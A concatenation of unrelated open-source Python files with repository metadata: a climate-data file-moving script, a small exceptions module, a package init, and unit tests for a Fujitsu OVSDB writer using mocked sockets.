'v20170518_1970/hus4_6hrPlev_CNRM-CM6-1-HR_highresSST-present_r1i1p1f1_gn_197008010000-197008312359.nc', 'v20170518_1970/hus4_6hrPlev_CNRM-CM6-1-HR_highresSST-present_r1i1p1f1_gn_197009010000-197009302359.nc', 'v20170518_1970/hus4_6hrPlev_CNRM-CM6-1-HR_highresSST-present_r1i1p1f1_gn_197010010000-197010312359.nc', 'v20170518_1970/hus4_6hrPlev_CNRM-CM6-1-HR_highresSST-present_r1i1p1f1_gn_197011010000-197011302359.nc', 'v20170518_1970/hus4_6hrPlev_CNRM-CM6-1-HR_highresSST-present_r1i1p1f1_gn_197012010000-197012312359.nc', 'v20170518_1970/hus4_6hrPlev_CNRM-CM6-1-HR_highresSST-present_r1i1p1f1_gn_197101010000-197101312359.nc', 'v20170518_1970/hus4_6hrPlev_CNRM-CM6-1-HR_highresSST-present_r1i1p1f1_gn_197102010000-197102282359.nc', 'v20170518_1970/hus4_6hrPlev_CNRM-CM6-1-HR_highresSST-present_r1i1p1f1_gn_197103010000-197103312359.nc', 'v20170518_1970/hus4_6hrPlev_CNRM-CM6-1-HR_highresSST-present_r1i1p1f1_gn_197104010000-197104302359.nc', 'v20170518_1970/ta_6hrPlevPt_CNRM-CM6-1-HR_highresSST-present_r1i1p1f1_gn_197201010000-197201312359.nc', 'v20170518_1970/hus4_6hrPlev_CNRM-CM6-1-HR_highresSST-present_r1i1p1f1_gn_197105010000-197105312359.nc', 'v20170518_1970/ta_6hrPlevPt_CNRM-CM6-1-HR_highresSST-present_r1i1p1f1_gn_197203010000-197203312359.nc', 'v20170518_1970/hus4_6hrPlev_CNRM-CM6-1-HR_highresSST-present_r1i1p1f1_gn_197106010000-197106302359.nc', 'v20170518_1970/ta_6hrPlevPt_CNRM-CM6-1-HR_highresSST-present_r1i1p1f1_gn_197208010000-197208312359.nc', 'v20170518_1970/ta_6hrPlevPt_CNRM-CM6-1-HR_highresSST-present_r1i1p1f1_gn_197209010000-197209302359.nc', 'v20170518_1970/hus4_6hrPlev_CNRM-CM6-1-HR_highresSST-present_r1i1p1f1_gn_197107010000-197107312359.nc', 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'v20170518_1970/zg19_Primday_CNRM-CM6-1-HR_highresSST-present_r1i1p1f1_gn_19791101-19791130.nc', 'v20170518_1970/zg19_Primday_CNRM-CM6-1-HR_highresSST-present_r1i1p1f1_gn_19791201-19791231.nc', 'v20170518_1970/zg500_6hrPlevPt_CNRM-CM6-1-HR_highresSST-present_r1i1p1f1_gn_197801010000-197812312359.nc', 'v20170518_1970/zg500_6hrPlevPt_CNRM-CM6-1-HR_highresSST-present_r1i1p1f1_gn_197901010000-197912312359.nc', ] # we are expecting to move 1131 files so check that they're all there if len(files_to_move) != 1131: logger.error('There are not 1131 files listed here.') sys.exit(1) for partial_path in files_to_move: src_path = os.path.join(base_input_dir, partial_path) try: shutil.move(src_path, dest_dir) except Exception: logger.error('Unable to move file {}'.format(src_path)) raise if __name__ == "__main__": cmd_args = parse_args() # determine the log level if cmd_args.log_level: try: log_level = getattr(logging, cmd_args.log_level.upper()) except AttributeError: logger.setLevel(logging.WARNING) logger.error('log-level must be one of: debug, info, warn or error') sys.exit(1) else: log_level = DEFAULT_LOG_LEVEL # configure the logger logging.config.dictConfig({ 'version': 1, 'disable_existing_loggers': False, 'formatters': { 'standard': { 'format': DEFAULT_LOG_FORMAT, }, }, 'handlers': { 'default': { 'level': log_level, 'class': 'logging.StreamHandler', 'formatter': 'standard' }, }, 'loggers': { '': { 'handlers': ['default'], 'level': log_level, 'propagate': True } } }) # run the code main(cmd_args)
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swtstore/classes/exceptions.py
janastu/swtstore
7326138bf2fbf2a4ed8c7300c68092f91709dfc2
[ "BSD-2-Clause" ]
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2015-04-28T00:35:21.000Z
2016-02-11T19:31:15.000Z
swtstore/classes/exceptions.py
janastu/swtstore
7326138bf2fbf2a4ed8c7300c68092f91709dfc2
[ "BSD-2-Clause" ]
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2017-12-29T07:49:07.000Z
swtstore/classes/exceptions.py
janastu/swtstore
7326138bf2fbf2a4ed8c7300c68092f91709dfc2
[ "BSD-2-Clause" ]
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null
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# -*- coding utf-8 -*- # classes/exceptions.py from sqlalchemy.exc import DontWrapMixin class AlreadyExistsError(Exception, DontWrapMixin): pass class InvalidPayload(Exception, DontWrapMixin): pass class ContextDoNotExist(Exception, DontWrapMixin): pass
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py
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deepy/data/__init__.py
popura/deepy-pytorch
71d87a82e937d82b9b149041280a392cc24b7299
[ "MIT" ]
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2021-07-19T09:38:26.000Z
2021-07-19T09:38:26.000Z
deepy/data/__init__.py
popura/deepy-pytorch
71d87a82e937d82b9b149041280a392cc24b7299
[ "MIT" ]
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2021-07-26T06:47:45.000Z
2021-07-26T06:47:45.000Z
deepy/data/__init__.py
popura/deepy-pytorch
71d87a82e937d82b9b149041280a392cc24b7299
[ "MIT" ]
null
null
null
import deepy.data.dataset import deepy.data.transform from deepy.data.dataset import SelfSupervisedDataset from deepy.data.dataset import InverseDataset from deepy.data.toydataset import ToyClassDataset, ToyRegDataset
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networking_fujitsu/tests/unit/ml2/common/ovsdb/test_ovsdb_writer.py
mail2nsrajesh/networking-fujitsu
e3a5205999cb36f7d1ead3698ce7465c0a08eb2a
[ "Apache-2.0" ]
null
null
null
networking_fujitsu/tests/unit/ml2/common/ovsdb/test_ovsdb_writer.py
mail2nsrajesh/networking-fujitsu
e3a5205999cb36f7d1ead3698ce7465c0a08eb2a
[ "Apache-2.0" ]
null
null
null
networking_fujitsu/tests/unit/ml2/common/ovsdb/test_ovsdb_writer.py
mail2nsrajesh/networking-fujitsu
e3a5205999cb36f7d1ead3698ce7465c0a08eb2a
[ "Apache-2.0" ]
null
null
null
# Copyright 2017 FUJITSU LIMITED # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import ast import mock import random import socket from oslo_log import log as logging from oslo_serialization import jsonutils from networking_fujitsu.ml2.common.ovsdb import base_connection from networking_fujitsu.ml2.common.ovsdb import constants as n_const from networking_fujitsu.ml2.common.ovsdb import ovsdb_writer from networking_fujitsu.tests.unit.ml2.common.ovsdb import ( test_base_connection as base_test) from neutron.tests import base LOG = logging.getLogger(__name__) class TestOVSDBWriter(base.BaseTestCase): def setUp(self): super(TestOVSDBWriter, self).setUp() self.op_id = 'abcd' self.ovsdb_ip = "1.1.1.1" self.ovsdb_port = 6640 self.sock = mock.patch('socket.socket').start() self.fake_ovsdb = ovsdb_writer.OVSDBWriter(self.ovsdb_ip, self.ovsdb_port) self.fake_message = {'id': self.op_id, 'fake_key': 'fake_value'} self.fake_ipaddrs = ["fake_ipaddr1", "fake_ipaddr2"] self.fake_ovsdb.responses = [self.fake_message] def test_process_response(self): """Test case to test _process_response.""" expected_result = {'fake_key': 'fake_value'} with mock.patch.object(ovsdb_writer.OVSDBWriter, '_response', return_value={'fake_key': 'fake_value'} ) as resp: result = self.fake_ovsdb._process_response(self.op_id) self.assertEqual(result, expected_result) resp.assert_called_with(self.op_id) def test_process_response_with_error(self): """Test case to test _process_response with error.""" foo_dict = {'fake_key': 'fake_value', 'error': 'fake_error'} with mock.patch.object(ovsdb_writer.OVSDBWriter, '_response', return_value=foo_dict) as resp: self.assertRaises(base_connection.OVSDBError, self.fake_ovsdb._process_response, self.op_id) resp.assert_called_with(self.op_id) def test_process_response_with_error1(self): """Test case to test _process_response with errors in the subqueries. """ fake_dict = {'id': '295366252499790541931626006259650283530', 'result': [{'uuid': ['uuid', 'be236bbf-8f83-4bf0-816b-629c7e5b5609' ]}, {}, {'error': 'referential integrity violation', 'details': 'Table Ucast_Macs_Remote column ' 'locator row ' 'be236bbf-8f83-4bf0-816b-629c7e5b5609 ' 'references nonexistent row ' '1b143819-45a6-44ec-826a-ac75243a07ce in ' 'table Physical_Locator.' }], 'error': None} with mock.patch.object(ovsdb_writer.OVSDBWriter, '_response', return_value=fake_dict) as resp: self.assertRaises(base_connection.OVSDBError, self.fake_ovsdb._process_response, self.op_id) resp.assert_called_with(self.op_id) def test_send_and_receive(self): """Test case to test _send_and_receive.""" with mock.patch.object(base_connection.BaseConnection, 'send', return_value=True ) as mock_send: with mock.patch.object(ovsdb_writer.OVSDBWriter, '_get_reply') as mock_reply: self.fake_ovsdb._send_and_receive('some_query', self.op_id, True) mock_send.assert_called_with('some_query') mock_reply.assert_called_with(self.op_id) def test_send_and_receive_with_rcv_required_false(self): """Test case to test _send_and_receive.""" with mock.patch.object(base_connection.BaseConnection, 'send', return_value=True ) as mock_send: with mock.patch.object(ovsdb_writer.OVSDBWriter, '_get_reply') as mock_reply: self.fake_ovsdb._send_and_receive('some_query', self.op_id, False) mock_send.assert_called_with('some_query') mock_reply.assert_not_called() def test_get_reply(self): """Test case to test _get_reply.""" ret_value = jsonutils.dumps({self.op_id: 'foo_value'}) with mock.patch.object(ovsdb_writer.OVSDBWriter, '_recv_data', return_value=jsonutils.dumps({ self.op_id: 'foo_value'})) as recv_data, \ mock.patch.object(ovsdb_writer.OVSDBWriter, '_process_response', return_value=(ret_value, None)) as proc_response, \ mock.patch.object(ovsdb_writer.LOG, 'debug'): self.fake_ovsdb._get_reply(self.op_id) self.assertTrue(recv_data.called) self.assertTrue(proc_response.called) def test_get_reply_exception(self): """Test case to test _get_reply. However, something unknow exception occuered when getting response. """ with mock.patch.object(ovsdb_writer.OVSDBWriter, '_recv_data', return_value=jsonutils.dumps({ self.op_id: 'foo_value'})), \ mock.patch.object(ovsdb_writer.OVSDBWriter, '_process_response', return_value=''), \ mock.patch.object(ast, 'literal_eval', side_effect=RuntimeError), \ mock.patch.object(ovsdb_writer.LOG, 'debug'): self.assertRaises(RuntimeError, self.fake_ovsdb._get_reply, self.op_id) def test_get_reply_max_retried(self): """Test case to test _get_reply when MAX_RETRIES has been tried.""" with mock.patch.object(ovsdb_writer.OVSDBWriter, '_recv_data', return_value=''), \ mock.patch.object(ovsdb_writer.LOG, 'debug'): self.assertRaises(RuntimeError, self.fake_ovsdb._get_reply, self.op_id) def test_recv_data(self): """Test case to test _recv_data with a valid data.""" n_const.BUFFER_SIZE = 5 fake_data_raw = '{"fake_key": "fake_value"}' fake_socket = base_test.SocketClass(None, None, None, fake_data_raw) with mock.patch.object(socket, 'socket', return_value=fake_socket): fake_obj = ovsdb_writer.OVSDBWriter( self.ovsdb_ip, self.ovsdb_port) result = fake_obj._recv_data() self.assertEqual(fake_data_raw, result) def test_recv_data_with_empty_data(self): """Test case to test _recv_data with empty data.""" fake_socket = base_test.SocketClass(None, None, None, '') with mock.patch.object(socket, 'socket', return_value=fake_socket): with mock.patch.object(ovsdb_writer.LOG, 'warning'): fake_obj = ovsdb_writer.OVSDBWriter( self.ovsdb_ip, self.ovsdb_port) result = fake_obj._recv_data() self.assertIsNone(result) def test_recv_data_with_socket_error(self): """Test case to test _recv_data with socket error.""" fake_socket = base_test.SocketClass(None, None, socket.error) with mock.patch.object(socket, 'socket', return_value=fake_socket): with mock.patch.object(ovsdb_writer.LOG, 'warning') as fake_warn: fake_obj = ovsdb_writer.OVSDBWriter( self.ovsdb_ip, self.ovsdb_port) result = fake_obj._recv_data() self.assertIsNone(result) fake_warn.assert_called_with("Did not receive any reply from " "the OVSDB server") def test_get_sw_ep_info(self): """Test case to test get_sw_ep_info.""" query = {'method': 'transact', 'params': [n_const.OVSDB_SCHEMA_NAME, {'op': 'select', 'table': 'Physical_Switch', 'where': [], 'columns': ['tunnel_ips', 'name']}], 'id': self.op_id} return_value_raw = '{"id":1,"result":[{"rows":[{"name":' \ '"fake_host_name","tunnel_ips":' \ '"fake_endpoint_ip"}]}],"error":null}' return_value = return_value_raw.replace(':null', ':None') self.fake_ovsdb.response = ast.literal_eval(return_value) expected_result = ('fake_endpoint_ip', 'fake_host_name') with mock.patch.object(ovsdb_writer.OVSDBWriter, '_recv_data', return_value=return_value_raw), \ mock.patch.object(random, 'getrandbits', return_value=self.op_id) as get_rand, \ mock.patch.object(ovsdb_writer.OVSDBWriter, '_send_and_receive') as send_n_receive, \ mock.patch.object(ovsdb_writer.LOG, 'debug'): result = self.fake_ovsdb.get_sw_ep_info() get_rand.assert_called_with(128) send_n_receive.assert_called_with(query, self.op_id, True) self.assertEqual(result, expected_result) self.fake_ovsdb.responses = [self.fake_message] def test_insert_logical_switch(self): """Test case to test insert_logical_switch.""" commit_dict = {'op': 'commit', 'durable': True} query = {'method': 'transact', 'params': [n_const.OVSDB_SCHEMA_NAME, {'op': 'insert', 'table': 'Logical_Switch', 'row': {'name': 'fake_logical_switch_name', 'tunnel_key': 'fake_tunnel_key'}}, commit_dict], 'id': self.op_id} with mock.patch.object(random, 'getrandbits', return_value=self.op_id) as get_rand, \ mock.patch.object(ovsdb_writer.OVSDBWriter, '_send_and_receive') as send_n_receive, \ mock.patch.object(ovsdb_writer.LOG, 'debug'): self.fake_ovsdb.insert_logical_switch( 'fake_tunnel_key', 'fake_logical_switch_name', mock.ANY) get_rand.assert_called_with(128) send_n_receive.assert_called_with(query, self.op_id, True) def test_get_logical_switch_uuid(self): """Test case to test get_logical_switch_uuid.""" query = {'method': 'transact', 'params': [n_const.OVSDB_SCHEMA_NAME, {'op': 'select', 'table': 'Logical_Switch', 'where': [['name', '==', 'fake_logical_switch_name']]}], 'id': self.op_id} return_value_raw = '{"id":1,"result":[{"rows":[{"_version":' \ '["uuid","abcd"],"name":' \ '"fake_logical_switch_name",' \ '"description":"","tunnel_key":1,"_uuid":["uuid",' \ '"fake_logical_switch_uuid"]}]}],"error":null}' return_value = return_value_raw.replace(':null', ':None') self.fake_ovsdb.response = ast.literal_eval(return_value) expected_result = 'fake_logical_switch_uuid' with mock.patch.object(ovsdb_writer.OVSDBWriter, '_recv_data', return_value=return_value_raw), \ mock.patch.object(random, 'getrandbits', return_value=self.op_id) as get_rand, \ mock.patch.object(ovsdb_writer.OVSDBWriter, '_send_and_receive') as send_n_receive, \ mock.patch.object(ovsdb_writer.LOG, 'debug'): result = self.fake_ovsdb.get_logical_switch_uuid( 'fake_logical_switch_name') get_rand.assert_called_with(128) send_n_receive.assert_called_with(query, self.op_id, True) self.assertEqual(result, expected_result) self.fake_ovsdb.responses = [self.fake_message] def test_delete_logical_switch(self): """Test case to test delete_logical_switch.""" commit_dict = {'op': 'commit', 'durable': True} query = {'method': 'transact', 'params': [n_const.OVSDB_SCHEMA_NAME, {'op': 'delete', 'table': 'Mcast_Macs_Local', 'where': [['logical_switch', '==', ['uuid', 'fake_ls_uuid']]]}, {'op': 'delete', 'table': 'Logical_Switch', 'where': [['_uuid', '==', ['uuid', 'fake_ls_uuid']]]}, commit_dict], 'id': self.op_id} with mock.patch.object(random, 'getrandbits', return_value=self.op_id) as get_rand, \ mock.patch.object(ovsdb_writer.OVSDBWriter, '_send_and_receive') as send_n_receive, \ mock.patch.object(ovsdb_writer.LOG, 'debug'): self.fake_ovsdb.delete_logical_switch( 'fake_ls_uuid', mock.ANY) get_rand.assert_called_with(128) send_n_receive.assert_called_with(query, self.op_id, True) def test_get_binding_vid(self): """Test case to test get_binding_vid.""" query = {'method': 'transact', 'params': [n_const.OVSDB_SCHEMA_NAME, {'op': 'select', 'table': 'Physical_Port', 'where': [['vlan_bindings', '!=', ['map', []]]], 'columns': ['vlan_bindings']}], 'id': self.op_id} return_value_raw = '{"id":1,"result":[{"rows":[{"vlan_bindings":[' \ '"map",[[21,["uuid","fake_logical_switch_uuid_21"' \ ']]]]},{"vlan_bindings":["map",[[22,["uuid",' \ '"fake_logical_switch_uuid_22"]]]]}]}],' \ '"error":null}' return_value = return_value_raw.replace(':null', ':None') self.fake_ovsdb.response = ast.literal_eval(return_value) expected_result = 21 with mock.patch.object(ovsdb_writer.OVSDBWriter, '_recv_data', return_value=return_value_raw), \ mock.patch.object(random, 'getrandbits', return_value=self.op_id) as get_rand, \ mock.patch.object(ovsdb_writer.OVSDBWriter, '_send_and_receive') as send_n_receive, \ mock.patch.object(ovsdb_writer.LOG, 'debug'): result = self.fake_ovsdb.get_binding_vid( 'fake_logical_switch_uuid_21') get_rand.assert_called_with(128) send_n_receive.assert_called_with(query, self.op_id, True) self.assertEqual(result, expected_result) self.fake_ovsdb.responses = [self.fake_message] def test_update_physical_port(self): """Test case to test update_physical_port.""" commit_dict = {'op': 'commit', 'durable': True} query = {'method': 'transact', 'params': [n_const.OVSDB_SCHEMA_NAME, {'op': 'update', 'table': 'Physical_Port', 'where': [['name', '==', 'fake_port_name']], 'row': { 'vlan_bindings': [ 'map', [['fake_vlanid', [ 'uuid', 'fake_logical_switch_uuid']]]]}}, commit_dict], 'id': self.op_id} with mock.patch.object(random, 'getrandbits', return_value=self.op_id) as get_rand, \ mock.patch.object(ovsdb_writer.OVSDBWriter, '_send_and_receive') as send_n_receive, \ mock.patch.object(ovsdb_writer.LOG, 'debug'): self.fake_ovsdb.update_physical_port( 'fake_port_name', 'fake_vlanid', 'fake_logical_switch_uuid') get_rand.assert_called_with(128) send_n_receive.assert_called_with(query, self.op_id, True) def test_get_ucast_macs_local(self): """Test case to test get_ucast_macs_local.""" query = {'method': 'transact', 'params': [n_const.OVSDB_SCHEMA_NAME, {'op': 'select', 'table': 'Ucast_Macs_Local', 'where': [['MAC', '==', 'fake_port_mac']]}], 'id': self.op_id} return_value_raw = '{"id":1,"result":[{"rows":[{"_version":["uuid",' \ '"fake_v_uuid"],"locator":["uuid",' \ '"fake_locator_uuid"],"logical_switch":["uuid",' \ '"fake_ls_uuid"],"_uuid":["uuid","fake_uuid"],' \ '"MAC":"fake_port_mac","ipaddr":""}]}],"error":' \ 'null}' return_value = return_value_raw.replace(':null', ':None') self.fake_ovsdb.response = ast.literal_eval(return_value) expected_result = [{'MAC': 'fake_port_mac', '_uuid': ['uuid', 'fake_uuid'], '_version': ['uuid', 'fake_v_uuid'], 'ipaddr': '', 'locator': ['uuid', 'fake_locator_uuid'], 'logical_switch': ['uuid', 'fake_ls_uuid']}] with mock.patch.object(ovsdb_writer.OVSDBWriter, '_recv_data', return_value=return_value_raw), \ mock.patch.object(random, 'getrandbits', return_value=self.op_id) as get_rand, \ mock.patch.object(ovsdb_writer.OVSDBWriter, '_send_and_receive') as send_n_receive, \ mock.patch.object(ovsdb_writer.LOG, 'debug'): result = self.fake_ovsdb.get_ucast_macs_local('fake_port_mac') get_rand.assert_called_with(128) send_n_receive.assert_called_with(query, self.op_id, True) self.assertEqual(result, expected_result) self.fake_ovsdb.responses = [self.fake_message] def test_delete_ucast_macs_local(self): """Test case to test delete_ucast_macs_local.""" commit_dict = {'op': 'commit', 'durable': True} query = {'method': 'transact', 'params': [n_const.OVSDB_SCHEMA_NAME, {'op': 'delete', 'table': 'Ucast_Macs_Local', 'where': [['MAC', '==', 'fake_MAC_value']]}, commit_dict], 'id': self.op_id} with mock.patch.object(random, 'getrandbits', return_value=self.op_id) as get_rand, \ mock.patch.object(ovsdb_writer.OVSDBWriter, '_send_and_receive') as send_n_receive, \ mock.patch.object(ovsdb_writer.LOG, 'debug'): self.fake_ovsdb.delete_ucast_macs_local('fake_MAC_value') get_rand.assert_called_with(128) send_n_receive.assert_called_with(query, self.op_id, True) def test_get_physical_locator_uuid(self): """Test case to test get_physical_locator_uuid.""" query = {'method': 'transact', 'params': [n_const.OVSDB_SCHEMA_NAME, {'op': 'select', 'table': 'Physical_Locator', 'where': [['dst_ip', '==', 'fake_dst_ip']]}], 'id': self.op_id} return_value_raw = '{"id":1,"result":[{"rows":[{"_version":' \ '["uuid","abcd"],"_uuid":["uuid",' \ '"fake_physical_locator_uuid"],"dst_ip":' \ '"fake_dst_ip","encapsulation_type":' \ '"vxlan_over_ipv4"}]}],"error":null}' return_value = return_value_raw.replace(':null', ':None') self.fake_ovsdb.response = ast.literal_eval(return_value) expected_result = 'fake_physical_locator_uuid' with mock.patch.object(ovsdb_writer.OVSDBWriter, '_recv_data', return_value=return_value_raw), \ mock.patch.object(random, 'getrandbits', return_value=self.op_id) as get_rand, \ mock.patch.object(ovsdb_writer.OVSDBWriter, '_send_and_receive') as send_n_receive, \ mock.patch.object(ovsdb_writer.LOG, 'debug'): result = self.fake_ovsdb.get_physical_locator_uuid( 'fake_dst_ip') get_rand.assert_called_with(128) send_n_receive.assert_called_with(query, self.op_id, True) self.assertEqual(result, expected_result) self.fake_ovsdb.responses = [self.fake_message] def test_insert_ucast_macs_local(self): """Test case to test insert_ucast_macs_local.""" commit_dict = {'op': 'commit', 'durable': True} query = {'method': 'transact', 'params': [n_const.OVSDB_SCHEMA_NAME, {'op': 'insert', 'table': 'Ucast_Macs_Local', 'row': {'MAC': 'fake_MAC_value', 'logical_switch': [ 'uuid', 'fake_logical_switch_uuid'], 'locator': ['uuid', 'fake_locator_uuid']}}, commit_dict], 'id': self.op_id} with mock.patch.object(random, 'getrandbits', return_value=self.op_id) as get_rand, \ mock.patch.object(ovsdb_writer.OVSDBWriter, '_send_and_receive') as send_n_receive, \ mock.patch.object(ovsdb_writer.LOG, 'debug'): self.fake_ovsdb.insert_ucast_macs_local( 'fake_logical_switch_uuid', 'fake_locator_uuid', 'fake_MAC_value') get_rand.assert_called_with(128) send_n_receive.assert_called_with(query, self.op_id, True) def test_insert_ucast_macs_local_and_locator(self): """Test case to test insert_ucast_macs_local_and_locator.""" commit_dict = {'op': 'commit', 'durable': True} query = {'method': 'transact', 'params': [n_const.OVSDB_SCHEMA_NAME, {'op': 'insert', 'table': 'Physical_Locator', 'row': {'dst_ip': 'fake_locator_ip', 'encapsulation_type': 'vxlan_over_ipv4' }, 'uuid-name': 'RVTEP'}, {'op': 'insert', 'table': 'Ucast_Macs_Local', 'row': {'MAC': 'fake_MAC_value', 'logical_switch': [ 'uuid', 'fake_logical_switch_uuid'], 'locator': ['named-uuid', 'RVTEP']}}, commit_dict], 'id': self.op_id} with mock.patch.object(random, 'getrandbits', return_value=self.op_id) as get_rand, \ mock.patch.object(ovsdb_writer.OVSDBWriter, '_send_and_receive') as send_n_receive, \ mock.patch.object(ovsdb_writer.LOG, 'debug'): self.fake_ovsdb.insert_ucast_macs_local_and_locator( 'fake_logical_switch_uuid', 'fake_locator_ip', 'fake_MAC_value') get_rand.assert_called_with(128) send_n_receive.assert_called_with(query, self.op_id, True) def test_get_ucast_macs_remote(self): """Test case to test get_ucast_macs_remote.""" query = {'method': 'transact', 'params': [n_const.OVSDB_SCHEMA_NAME, {'op': 'select', 'table': 'Ucast_Macs_Remote', 'where': [['MAC', '==', 'fake_port_mac']]}], 'id': self.op_id} return_value_raw = '{"id":1,"result":[{"rows":[{"_version":["uuid",' \ '"fake_v_uuid"],"locator":["uuid",' \ '"fake_locator_uuid"],"logical_switch":["uuid",' \ '"fake_ls_uuid"],"_uuid":["uuid","fake_uuid"],' \ '"MAC":"fake_port_mac","ipaddr":"fake_ipaddr"' \ '}]}],"error":null}' return_value = return_value_raw.replace(':null', ':None') self.fake_ovsdb.response = ast.literal_eval(return_value) expected_result = [{'MAC': 'fake_port_mac', '_uuid': ['uuid', 'fake_uuid'], '_version': ['uuid', 'fake_v_uuid'], 'ipaddr': 'fake_ipaddr', 'locator': ['uuid', 'fake_locator_uuid'], 'logical_switch': ['uuid', 'fake_ls_uuid']}] with mock.patch.object(ovsdb_writer.OVSDBWriter, '_recv_data', return_value=return_value_raw), \ mock.patch.object(random, 'getrandbits', return_value=self.op_id) as get_rand, \ mock.patch.object(ovsdb_writer.OVSDBWriter, '_send_and_receive') as send_n_receive, \ mock.patch.object(ovsdb_writer.LOG, 'debug'): result = self.fake_ovsdb.get_ucast_macs_remote( 'fake_port_mac') get_rand.assert_called_with(128) send_n_receive.assert_called_with(query, self.op_id, True) self.assertEqual(result, expected_result) self.fake_ovsdb.responses = [self.fake_message] def test_delete_ucast_macs_remote(self): """Test case to test delete_ucast_macs_remote.""" commit_dict = {'op': 'commit', 'durable': True} query = {'method': 'transact', 'params': [n_const.OVSDB_SCHEMA_NAME, {'op': 'delete', 'table': 'Ucast_Macs_Remote', 'where': [['MAC', '==', 'fake_MAC_value']]}, commit_dict], 'id': self.op_id} with mock.patch.object(random, 'getrandbits', return_value=self.op_id) as get_rand, \ mock.patch.object(ovsdb_writer.OVSDBWriter, '_send_and_receive') as send_n_receive, \ mock.patch.object(ovsdb_writer.LOG, 'debug'): self.fake_ovsdb.delete_ucast_macs_remote( 'fake_MAC_value') get_rand.assert_called_with(128) send_n_receive.assert_called_with(query, self.op_id, True) def test_insert_ucast_macs_remote(self): """Test case to test insert_ucast_macs_remote.""" commit_dict = {'op': 'commit', 'durable': True} query = {'method': 'transact', 'params': [n_const.OVSDB_SCHEMA_NAME, {'op': 'insert', 'table': 'Ucast_Macs_Remote', 'row': {'MAC': 'fake_MAC_value', 'logical_switch': [ 'uuid', 'fake_logical_switch_uuid'], 'locator': ['uuid', 'fake_locator_uuid'], 'ipaddr': 'fake_ipaddr1'}}, {'op': 'insert', 'table': 'Ucast_Macs_Remote', 'row': {'MAC': 'fake_MAC_value', 'logical_switch': [ 'uuid', 'fake_logical_switch_uuid'], 'locator': ['uuid', 'fake_locator_uuid'], 'ipaddr': 'fake_ipaddr2'}}, commit_dict], 'id': self.op_id} with mock.patch.object(random, 'getrandbits', return_value=self.op_id) as get_rand, \ mock.patch.object(ovsdb_writer.OVSDBWriter, '_send_and_receive') as send_n_receive, \ mock.patch.object(ovsdb_writer.LOG, 'debug'): self.fake_ovsdb.insert_ucast_macs_remote( 'fake_logical_switch_uuid', 'fake_MAC_value', self.fake_ipaddrs, 'fake_locator_uuid', mock.ANY) get_rand.assert_called_with(128) send_n_receive.assert_called_with(query, self.op_id, True) def test_insert_ucast_macs_remote_and_locator(self): """Test case to test insert_ucast_macs_remote_and_locator.""" commit_dict = {'op': 'commit', 'durable': True} query = {'method': 'transact', 'params': [n_const.OVSDB_SCHEMA_NAME, {'op': 'insert', 'table': 'Physical_Locator', 'row': {'dst_ip': 'fake_locator_ip', 'encapsulation_type': 'vxlan_over_ipv4' }, 'uuid-name': 'RVTEP'}, {'op': 'insert', 'table': 'Ucast_Macs_Remote', 'row': {'MAC': 'fake_MAC_value', 'logical_switch': [ 'uuid', 'fake_logical_switch_uuid'], 'locator': ['named-uuid', 'RVTEP'], 'ipaddr': 'fake_ipaddr1'}}, {'op': 'insert', 'table': 'Ucast_Macs_Remote', 'row': {'MAC': 'fake_MAC_value', 'logical_switch': [ 'uuid', 'fake_logical_switch_uuid'], 'locator': ['named-uuid', 'RVTEP'], 'ipaddr': 'fake_ipaddr2'}}, commit_dict], 'id': self.op_id} with mock.patch.object(random, 'getrandbits', return_value=self.op_id) as get_rand, \ mock.patch.object(ovsdb_writer.OVSDBWriter, '_send_and_receive') as send_n_receive, \ mock.patch.object(ovsdb_writer.LOG, 'debug'): self.fake_ovsdb.insert_ucast_macs_remote_and_locator( 'fake_logical_switch_uuid', 'fake_MAC_value', self.fake_ipaddrs, 'fake_locator_ip', mock.ANY) get_rand.assert_called_with(128) send_n_receive.assert_called_with(query, self.op_id, True) def test_reset_physical_port(self): """Test case to test reset_physical_port.""" commit_dict = {'op': 'commit', 'durable': True} query = {'method': 'transact', 'params': [n_const.OVSDB_SCHEMA_NAME, {'op': 'update', 'table': 'Physical_Port', 'where': [['name', '==', 'fake_port_name']], 'row': {'vlan_bindings': ['map', []]}}, commit_dict], 'id': self.op_id} with mock.patch.object(random, 'getrandbits', return_value=self.op_id) as get_rand, \ mock.patch.object(ovsdb_writer.OVSDBWriter, '_send_and_receive') as send_n_receive, \ mock.patch.object(ovsdb_writer.LOG, 'debug'): self.fake_ovsdb.reset_physical_port( 'fake_port_name') get_rand.assert_called_with(128) send_n_receive.assert_called_with(query, self.op_id, True) # def test_get_logical_switch_uuid_return_none(self): # """Test case to test get_logical_switch_uuid but none returned.""" # return_value_raw = '{"id":1,"result":[{"rows":[]}],"error":null}' # return_value_raw = return_value_raw.replace(':null', ':None') # return_value_dict = ast.literal_eval(return_value_raw) # self.fake_ovsdb.responses = [return_value_dict] # with mock.patch.object(ovsdb_writer.OVSDBWriter, '_recv_data', # return_value=return_value_raw): # with mock.patch.object(random, 'getrandbits', # return_value=self.op_id): # with mock.patch.object(ovsdb_writer.OVSDBWriter, # '_send_and_receive'): # with mock.patch.object(ovsdb_writer.LOG, 'debug'): # self.assertRaises( # IndexError, # self.fake_ovsdb.get_logical_switch_uuid, # self.op_id) # self.fake_ovsdb.responses = [self.fake_message] # def test_get_physical_locator_uuid_return_none(self): # """Test case to test get_physical_locator_uuid but none returned.""" # return_value_raw = '{"id":1,"result":[{"rows":[]}],"error":null}' # return_value_raw = return_value_raw.replace(':null', ':None') # return_value_dict = ast.literal_eval(return_value_raw) # self.fake_ovsdb.responses = [return_value_dict] # with mock.patch.object(ovsdb_writer.OVSDBWriter, '_recv_data', # return_value=return_value_raw): # with mock.patch.object(random, 'getrandbits', # return_value=self.op_id): # with mock.patch.object(ovsdb_writer.OVSDBWriter, # '_send_and_receive'): # with mock.patch.object(ovsdb_writer.LOG, 'debug'): # self.assertRaises( # IndexError, # self.fake_ovsdb.get_logical_switch_uuid, # self.op_id) # self.fake_ovsdb.responses = [self.fake_message]
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7
5075097a66c566c9a55a174572987cce26ced8de
107
py
Python
dynamic_rules/__init__.py
Dchouras/dynamic_rules
6d2e202c86f1ea5c94010b058c9dacec2c943087
[ "MIT" ]
null
null
null
dynamic_rules/__init__.py
Dchouras/dynamic_rules
6d2e202c86f1ea5c94010b058c9dacec2c943087
[ "MIT" ]
null
null
null
dynamic_rules/__init__.py
Dchouras/dynamic_rules
